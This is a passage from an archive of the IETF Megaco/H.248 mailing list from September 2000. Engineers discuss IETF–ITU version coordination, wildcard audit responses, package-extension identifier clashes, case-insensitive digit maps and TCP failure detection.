          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          HAA13546; Mon, 25 Sep 2000 07:40:42 +0200 (MET DST)
Received: from ericsson.com (7-199.epa.ericsson.se [146.11.7.199]) by
          elb4.al.edt.ericsson.se (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id
          HAA03341; Mon, 25 Sep 2000 07:40:38 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF01A6E6D5@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39CE2659.60CC53D2@ericsson.com>
Date:         Mon, 25 Sep 2000 03:05:45 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: H248v1 formerly Re: H.248v2 [was Re: Can MGC modify term in
              NULL Context ?]
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>,
              Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day all,

I completely support Brian on his comments. Lets move this forward in
this forward in a positive way and discuss the issues that were raised.
Tom, do you have any thoughts on a way to address this?

Cheers, Christian

"Rosen, Brian" wrote:
>
> This may be as good a time as any to start the discussions of
> how we deal with the IETF "drop unimplemented features" and the
> ITU "backwards compatibility must be maintained" issues.
>
> I believe this is going to take negotiation, will be "decided"
> by folks higher up the management chain then us down here,
> but will benefit from all of us discussing the issues on the list.
>
> I too do not want to see divergence, so I wish to:
>         Get Megaco rechartered to stay working with ITU on
>                 new versions
>         Come to agreement on exactly how the process will work
>                 as the protocol matures.
>
> I do want to see the Proposed Standard mature to full Standard.
> New RFCs will be issued (which are like versions, whether you
> call them that or not).  Likewise in ITU, there are new versions that
> reflect maturation of ideas.
>
> Brian
>
> > -----Original Message-----
> > From: Michael Thomas [mailto:mat@CISCO.COM]
> > Sent: Wednesday, September 20, 2000 12:44 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: H248v1 formerly Re: H.248v2 [was Re: Can MGC modify term in
> > NULL Context ?]
> >
> >
> > One basic problem is that IETF doesn't have "versions"
> > per se. In the same period of time, the current proposed
> > standard should be advancing to draft standard with
> > the normal IETF'ism of deleting unused features, etc,
> > etc. Unless a proposed standard recycles itself back
> > as a new proposed standard, there is no way to add a
> > bunch of new features, etc.
> >
> > If SG16 goes off and creates a new version which is
> > not using the same criteria, something has got to
> > give: either MEGACO and SG16 keep cooperating such
> > that both produce a standard which will become a
> > full IETF internet standard, or they diverge.
> >
> > I share Flemming's concern here. Without a great
> > deal of explict understanding and resolution of
> > how both IETF and ITU processes can be
> > simultaneously satisfied (and there are challenges
> > on the IETF side as well), the end result will
> > be divergence which would have made this entire
> > joint effort mostly a waste.
> >
> >              Mike
> >
> > Christian Groves writes:
> >  > G'Day Flemming,
> >  >
> >  > I don't see why you have a hard time following this logic.
> >  >
> >  > The work on H248v2 has just started. No one has been
> > excluded from this,
> >  > especially the IETF. The Working Group Chair was at the
> > SG16 meeting
> >  > where this occured. I believe that its a decision for the
> > IETF if it
> >  > wants to be involved. I gather some sort of charter change would be
> >  > required.
> >  >
> >  > We have probably at least 14 months before we decide on
> > H248v2 so there
> >  > is plenty of scope for other parties to be involved and
> > the logistics of
> >  > this involvement sorted out.
> >  >
> >  > Regards, Christian
> >  >
> >  > Flemming Andreasen wrote:
> >  > >
> >  > > Christian Groves wrote:
> >  > >
> >  > > > G'Day Flemming,
> >  > > >
> >  > > > No there will be one protocol(H.248, Megaco) with 2
> > versions. Version 2
> >  > > > following version 1. Version 2 work is just starting
> > and will go
> >  > > > probably for another year thus giving "the ink" plenty
> > of time to dry
> >  > > > before we have version 2 ready. No body has been from
> > giving input to
> >  > > > this work.
> >  > >
> >  > > I'm having a hard time following this logic. As we gain
> > experience with v1, the IETF
> >  > > presumably will want to advance it to Draft and Internet
> > standard, yet meanwhile the ITU
> >  > > will work on a successor, without the involvement of the
> > IETF. Thus, for all practical
> >  > > purposes, you have just declared the joint v1 protocol
> > an interim ITU-T solution as they
> >  > > move along on their own with v2. Maybe our WG chair or
> > AD can clarify what the point with
> >  > > the cooperation was and where that leaves Megaco v1 as
> > compared to H.248v2 ?
> >  > >
> >  > > Thanks
> >  > >
> >  > >         Flemming
> >  > >
> >  > > >
> >  > > >
> >  > > > Regards, Christian
> >  > > >
> >  > > > Flemming Andreasen wrote:
> >  > > > >
> >  > > > > The ink is barely dry on v1 and we all went through
> > tremendous efforts to ensure that
> >  > > > > the IETF and ITU-T would develop a single protocol.
> > Am I to understand it was a wasted
> >  > > > > effort as there now will be two protocols after all
> > ? Where does this leave Megaco ?
> >  > > > >
> >  > > > > -- Flemming
> >  > > > >
> >  > > > > Christian Groves wrote:
> >  > > > >
> >  > > > > > G'Day Flemming,
> >  > > > > >
> >  > > > > > Its the version after H.248v1 and SG16 are working on it.
> >  > > > > >
> >  > > > > > Cheers, Christian
> >  > > > > >
> >  > > > > > Flemming Andreasen wrote:
> >  > > > > > >
> >  > > > > > > Question for clarification here:
> >  > > > > > >
> >  > > > > > > Exactly what is H.248v2 and who is working on it ?
> >  > > > > > >
> >  > > > > > > -- Flemming
> >  > > > > > >
> >  > >
> >  > > <snip>
> >  > >
> >  > > --
> >  > > Flemming Andreasen
> >  > > Cisco Systems
> >  >
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 25 01:52:41 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA21310
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 25 Sep 2000 01:52:41 -0400 (EDT)
Received: from standards (47.234.32.16:3541) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB97324@standards.nortelnetworks.com>; Mon, 25 Sep 2000 1:36:53 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 26988 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 25 Sep 2000 01:36:53 -0400
Received: from penguin-ext.wise.edt.ericsson.se by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB9731D@standards.nortelnetworks.com>; Mon, 25 Sep 2000 1:26:52
          -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP
          id e8P5enZ16198; Mon, 25 Sep 2000 07:40:49 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          HAA13550; Mon, 25 Sep 2000 07:40:49 +0200 (MET DST)
Received: from ericsson.com (7-199.epa.ericsson.se [146.11.7.199]) by
          elb4.al.edt.ericsson.se (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id
          HAA03345; Mon, 25 Sep 2000 07:40:45 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF01A6E6C6@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39CE282D.F62EA419@ericsson.com>
Date:         Mon, 25 Sep 2000 03:13:33 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: Wildcard command with CHOOSE
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Brian,

Do we really need to specify this? If you do a w- TermID=? you're only
going to get back one set of values whether or not you have w-.

Below is the text I intend on adding to the implementors guide based on
one of your previous examples.

Does this help at all?

Cheers, Christian
=============================================================
9.3     Audit Response with and without wilcard response (w-)

Description:    There is some confusion on what should be sent in the
response to an Audit in the cases where you have wilcarded the context
or termination and have specified wildcarded response.
Reference:      Subject: RE: Audit of Packages
Date: Wed, 13 Sep 2000 09:42:31 -0400
From: "Rosen, Brian" <Brian.Rosen@marconi.com>
To: "'Christian Groves'" <Christian.Groves@ericsson.com>
CC: MEGACO@STANDARDS.NORTELNETWORKS.COM

[Begin Clarification]
Assume the gateway has 4 terminations : t1/1, t1/2, t2/1 and t2/2
Assume terminations t1/* has implemented packages aaa and bbb and
terminations t2/* has implemented packages ccc and ddd.
Assume context 1 has t1/1 and t2/1 in it, and context 2 has t1/2 and
t2/2 in it.
The command:
Context=1{Audit=t1/1{Audit{Packages}}
Returns:
Context=1{Audit=t1/1{Packages{aaa,bbb}}}}
The command:
Context=*{Audit=t2/*{Audit{Packages}}
Returns:
Context=1{Audit=t2/1{Packages{ccc,ddd}}},
Context=2{Audit=t2/2{Packages{ccc,ddd}}}
The command:
Context=*{W-Audit=*{Audit{Packages}}
Returns:
Context=*{W-Audit=*{Packages{aaa,bbb,ccc,ddd}}
[End Clarification]
=============================================================


"Rosen, Brian" wrote:
>
> The text currently states:
> When ALL is used in the TerminationID of a command, the effect is
>    identical to repeating the command with each of the matching
>    TerminationIDs.  Since each of these commands may generate a
>    response, the size of the entire response may be large.  If
>    individual responses are not required, a wildcard response may be
>    requested.  In such a case, a single response is generated, which
>    contains the UNION of all of the individual responses which
>    otherwise would have been generated, with duplicate values
>    suppressed.
>
> Notice that this seems to imply that wildcard response can
> only be used with ALL.  I think this is incorrect, and it
> can be used with CHOOSE as in W-Audit=term/*{Audit{...
>
> This is grist for the Implementer's Guide.
>
> Brian


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 25 01:59:32 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA21329
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 25 Sep 2000 01:59:32 -0400 (EDT)
Received: from standards (47.234.32.16:3541) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB97355@standards.nortelnetworks.com>; Mon, 25 Sep 2000 1:43:50 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 26989 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 25 Sep 2000 01:43:50 -0400
Received: from albatross-ext.wise.edt.ericsson.se by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9731E@standards.nortelnetworks.com>; Mon, 25 Sep 2000
          1:33:49 -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with
          ESMTP id e8P5lkt13839; Mon, 25 Sep 2000 07:47:46 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          HAA13808; Mon, 25 Sep 2000 07:47:45 +0200 (MET DST)
Received: from ericsson.com (7-199.epa.ericsson.se [146.11.7.199]) by
          elb4.al.edt.ericsson.se (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id
          HAA03374; Mon, 25 Sep 2000 07:47:41 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF01A6E6AC@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39CE6AC0.2B474D2B@ericsson.com>
Date:         Mon, 25 Sep 2000 07:57:36 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: EventID for DigitMap Completion Event
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day all,

Below is the text I intend putting in the implementor's guide.

8.7 Clarification on extending packages

Description:    An extended package shall not redefine or overload an
identifier defined in the original package. For example: if package "aa"
has a signal "ab", then if package "bb" extends aa it cannot define
signal "ab".  This is also valid for not redefining an id in "earlier"
packages, when multiple levels of extension occur.
Several packages in H.248 Annex E have made this error. Corrections are
below.
Reference:      Subject: Re: EventID for DigitMap Completion Event
Date: Mon, 18 Sep 2000 13:26:58 -0400
From: "Rosen, Brian" Brian.Rosen@MARCONI.COM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
 [Begin Correction]
Section 12.1.1 Package
A package may extend an existing package. The version of the original
package must be specified. When a package extends another package it
shall only add additional Properties, Events, Signals, Statistics and
new possible values for an existing parameter described in the original
package. An extended package shall not redefine or overload an
identifier defined in the original package. This shall also not occur
when multiple levels of extensions occur. Hence, if package B version 1
extends package A version 1, version 2 of B will not be able to extend
the A version 2 if A version 2 defines a name already in B version 1.
[End Correction]
[Begin Correction]
Section E.6.4 Events
DigitMap Completion Event
EventID: ce, 0x0004    <<<<<<<<<<<<<<<change
Generated when a digit map completes as described in section 7.1.14.
[End Correction]
[Begin Correction]
Section E.7.3

Signal Name     Signal ID/tone id
Dial Tone       dt (0x0030)
Ringing Tone    rt (0x0031)
Busy Tone       bt (0x0032)
Congestion Tone ct (0x0033)
Special Information Tone        sit(0x0034)
Warning Tone    wt (0x0035)
Payphone Recognition Tone       prt (0x0036)   <<<<<<<<<<<<<<change
Call Waiting Tone       cw (0x0037)
Caller Waiting Tone     cr (0x0038)

[End Correction]


"Rosen, Brian" wrote:
>
> Wow, I believe you are correct.
>
> Others, would you not agree this is a genuine bug,
> which needs to be fixed in order to use the protocol?
>
> This also implies we need wording (starting in the
> Implementer's Guide).  The current document does state:
> "An extended package shall not redefine or overload
> a name defined in the original package. "  Perhaps
> just changing "name" to "identifier" would be sufficient.
> I'll note that the text could also be clearer about
> not redefining an id in "earlier" packages, when multiple
> levels of extension occur.
>
> I would note that it IS okay to duplicate ids in parallel
> extensions (B extends A and C extends A -- both B and C
> could have the same ids that mean something different).
> Packages SHOULD NOT do this, but it can be unavoidable,
> because packages can be developed in parallel without
> knowledge of id overlap.
>
> Brian
>
> > -----Original Message-----
> > From: J Ramachandra [mailto:JRamachandra@AXESTECH.COM]
> > Sent: Monday, September 18, 2000 4:20 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: EventID for DigitMap Completion Event
> >
> >
> > Section E.6.2 under DTMF detection (dd) Package, specifies EventID as
> > 0x0001 for DigitMap Completion Event (ce). But, dd extends tonedet
> > package which has the same value assigned to Start Tone detected event
> > (std). With the earlier discussion on 'Package Extension' methodology,
> > the preferred method for representing std event in dd package
> > is dd/std.
> > This will clash with dd/ce, when BINARY representation is used.
> >
> > Is it not better to use any other unused values for ce (Probably
> > 0x0004)?
> >
> >
> > Regards,
> >
> > - J K Ramachandra
> >   ipGen Inc.
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 25 09:27:15 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA03007
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 25 Sep 2000 09:27:13 -0400 (EDT)
Received: from standards (47.234.32.16:2418) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB97508@standards.nortelnetworks.com>; Mon, 25 Sep 2000 9:11:21 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 27621 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 25 Sep 2000 09:11:21 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB97507@standards.nortelnetworks.com>; Mon, 25 Sep 2000 9:11:21
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA24319; Mon, 25 Sep 2000 09:25:06 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA05220; Mon, 25 Sep 2000 09:24:48 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <S0BBHKCX>; Mon, 25 Sep 2000 09:24:31 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="ISO-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF01A6E70A@whq-msgusr-02.pit.comms.marconi.com>
Date:         Mon, 25 Sep 2000 09:24:46 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Case sensitive DigitMap symbols?
X-To:         Dave Sclarsky <dsclarsky@ss7-link.com>
X-cc:         img <img@ss7-link.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Annex B references RFC2234, which states:

        ABNF strings are case-insensitive and
        the character set for these strings is us-ascii.

The text used to state this as a comment in the ABNF, but
somewhere that got lost.

Brian

> -----Original Message-----
> From: Dave Sclarsky [mailto:dsclarsky@ss7-link.com]
> Sent: Friday, September 22, 2000 6:57 PM
> To: Rosen, Brian; MEGACO@STANDARDS.NORTELNETWORKS.COM
> Cc: img
> Subject: RE: Case sensitive DigitMap symbols?
>
>
> Brian,
>
> Thanks for the response.  I apologize, but I haven't
> seen a clause that says the protocol is case insensitive.
> Does this refer to the text encoding, or is it a blanket
> statement covering all aspects of the protocol?
>
> DaveS.
>
> -----Original Message-----
> From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> Sent: Friday, September 22, 2000 5:04 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Case sensitive DigitMap symbols?
>
>
> Except for the case of SDP in local/remote,
> the entire protocol is case insensitive.
> I'll support expanding the wording in 7.1.14.3 and
> E.6 to include the lower case values.
>
> Brian
>
> > -----Original Message-----
> > From: Dave Sclarsky [mailto:dsclarsky@SS7-LINK.COM]
> > Sent: Friday, September 22, 2000 4:39 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Case sensitive DigitMap symbols?
> >
> >
> > Hello,
> >
> > I have questions about the use of lower case letters as
> > DigitMap symbols.
> >
> > First of all, there is a conflict between the text and the ABNF:
> >
> > o The text description (7.1.14.3) allows
> >   symbols "A" through (at most) "K" as digit
> >   map symbols, but doesn't mention the lower
> >   case letters.
> >
> > o The ABNF in B.2 defines 'digitMapLetter'
> >   to allow %x41-4B or %x61-6B.
> >
> > Second, the DTMF detection package uses case in a
> > confusing way:
> >
> > o The DTMF 'tone id' to Event Symbol table in
> >   E.6 allows "*" to be represented as either
> >   "E" or "e", and "#" to be represented as either
> >   "F" or "f".
> >
> > o DigitMap Completion Events in E.6 define the
> >   possible values in a DigitString to be "A"
> >   through "F".
> >
> > Is there some reason to allow lower case in digit maps?
> >
> > Shouldn't the DTMF detection package define a one to one
> > mapping of 'tone id's to event symbols?
> >
> > The combination of these rules make it difficult for
> > an MG to implement 7.1.14.5 number 3, where it says
> > that each event 'is mapped to a digit string symbol',
> > especially for the "*" and "#" events, unless I am
> > missing something!
> >
> > Thanks,
> > ============================
> > Dave Sclarsky
> > System Architect, Access Technology
> > S-Link Corporation
> > 520 Fellowship Road, Suite C-304
> > Mt. Laurel, NJ 08054
> > dsclarsky@ss7-link.com
> > voice:856.642.9229 fax:856.642.0252
> > www.ss7-link.com
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 25 09:31:46 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA03079
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 25 Sep 2000 09:31:46 -0400 (EDT)
Received: from standards (47.234.32.16:2418) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB97521@standards.nortelnetworks.com>; Mon, 25 Sep 2000 9:15:49 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 27655 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 25 Sep 2000 09:15:48 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB97520@standards.nortelnetworks.com>; Mon, 25 Sep 2000 9:15:48
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA24737; Mon, 25 Sep 2000 09:29:43 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA06217; Mon, 25 Sep 2000 09:29:42 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <S0BBHKHP>; Mon, 25 Sep 2000 09:29:25 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="ISO-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF01A6E70B@whq-msgusr-02.pit.comms.marconi.com>
Date:         Mon, 25 Sep 2000 09:29:34 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: subtractRequest in ABNF
X-To:         "Prozan, Rakefet" <rakefet.prozan@telrad.co.il>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

W- indicates wildcard response.  Only one response will be
generated which is the union of all the values of all the
matched terminationIds.  Normally, a wildcard returns a
unique value for each matched terminationId.

See section 6.2.2

Since this has come up a couple of times, we need some
more obvious statements about it.  Perhaps the ABNF can
have a comment that states
"W-" indicates wildcard response, see section 6.2.2

Brian

> -----Original Message-----
> From: Prozan, Rakefet [mailto:rakefet.prozan@telrad.co.il]
> Sent: Sunday, September 24, 2000 4:15 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: subtractRequest in ABNF
>
>
> Hi all,
> Can someone explain , please , the ["W-"] in subtractRequest and
> auditRequest
> in ABNF?
>
>
>    subtractRequest      =  ["W-"] SubtractToken EQUAL TerminationID
>                            [ LBRKT auditDescriptor RBRKT]
>
>    auditRequest         = ["W-"] (AuditValueToken / AuditCapToken )
>                         EQUAL TerminationID LBRKT
> auditDescriptor RBRKT
>
>
> I didn't find any explanation in the protocol text.
>
> Thanks in advance,
> --
> Rakefet Prozan,
> Team Manager, S/W Development
> ATS SBU
> Telrad Networks
> ESN 828-3043   Email:rakefet.prozan@telrad.co.il
>
>
>                                        """
>                                      -(o o)-
> +---------------------------------oOO--(_)--OOo--------------+
>
>                                .oooO         Oooo.
> -------------------------------(   )---------(   )------------
>                                 \ (           ) /
>                                  \_)         (_/
>
> Have fun !!!
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 25 09:36:22 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA03174
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 25 Sep 2000 09:36:22 -0400 (EDT)
Received: from standards (47.234.32.16:2418) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB97536@standards.nortelnetworks.com>; Mon, 25 Sep 2000 9:19:19 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 27682 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 25 Sep 2000 09:19:19 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB97535@standards.nortelnetworks.com>; Mon, 25 Sep 2000 9:19:19
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA25115; Mon, 25 Sep 2000 09:33:12 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA07437; Mon, 25 Sep 2000 09:33:12 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <S0BBHK3A>; Mon, 25 Sep 2000 09:32:56 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="ISO-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF01A6E70C@whq-msgusr-02.pit.comms.marconi.com>
Date:         Mon, 25 Sep 2000 09:33:11 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: TCP svc failure detection in H248
X-To:         "Shlomo.Kabaz@ECITELE.COM" <Shlomo.Kabaz@ECITELE.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hmmm, we talked about a generic event on a timer that would
be a heartbeat.  Seems to not have made it to the root package.

There are lots of NOP possibilities.  You can just send one
periodically and see if you get a reply.  Doesn't need
standardization since the MGC can do it.  An MG can send
a NOP ServiceChange for the other direction if it wishes.

Brian

> -----Original Message-----
> From: Shlomo Kabaz ECItelecom [mailto:Shlomo.Kabaz@ECITELE.COM]
> Sent: Sunday, September 24, 2000 9:50 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: TCP svc failure detection in H248
>
>
> Hi , all.
> Could anyone tell  what would be the mechanism someone should use for
> detection of TCP svc failure when is
> used as a transport layer for the H248 protocol . Are there
> any mechanisms
> which are H248 standard or we
> should envent a propriatry  "keep alive"  mechanism ?
>
> regards , Shlomo ECI .
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 25 09:40:28 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA03302
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 25 Sep 2000 09:40:27 -0400 (EDT)
Received: from standards (47.234.32.16:2418) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB97553@standards.nortelnetworks.com>; Mon, 25 Sep 2000 9:24:35 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 27722 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 25 Sep 2000 09:24:35 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB97552@standards.nortelnetworks.com>; Mon, 25 Sep 2000 9:24:35
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA25675; Mon, 25 Sep 2000 09:38:33 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA09314; Mon, 25 Sep 2000 09:38:33 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <S0BBHK5R>; Mon, 25 Sep 2000 09:38:17 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="ISO-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF01A6E70D@whq-msgusr-02.pit.comms.marconi.com>
Date:         Mon, 25 Sep 2000 09:38:31 -0400
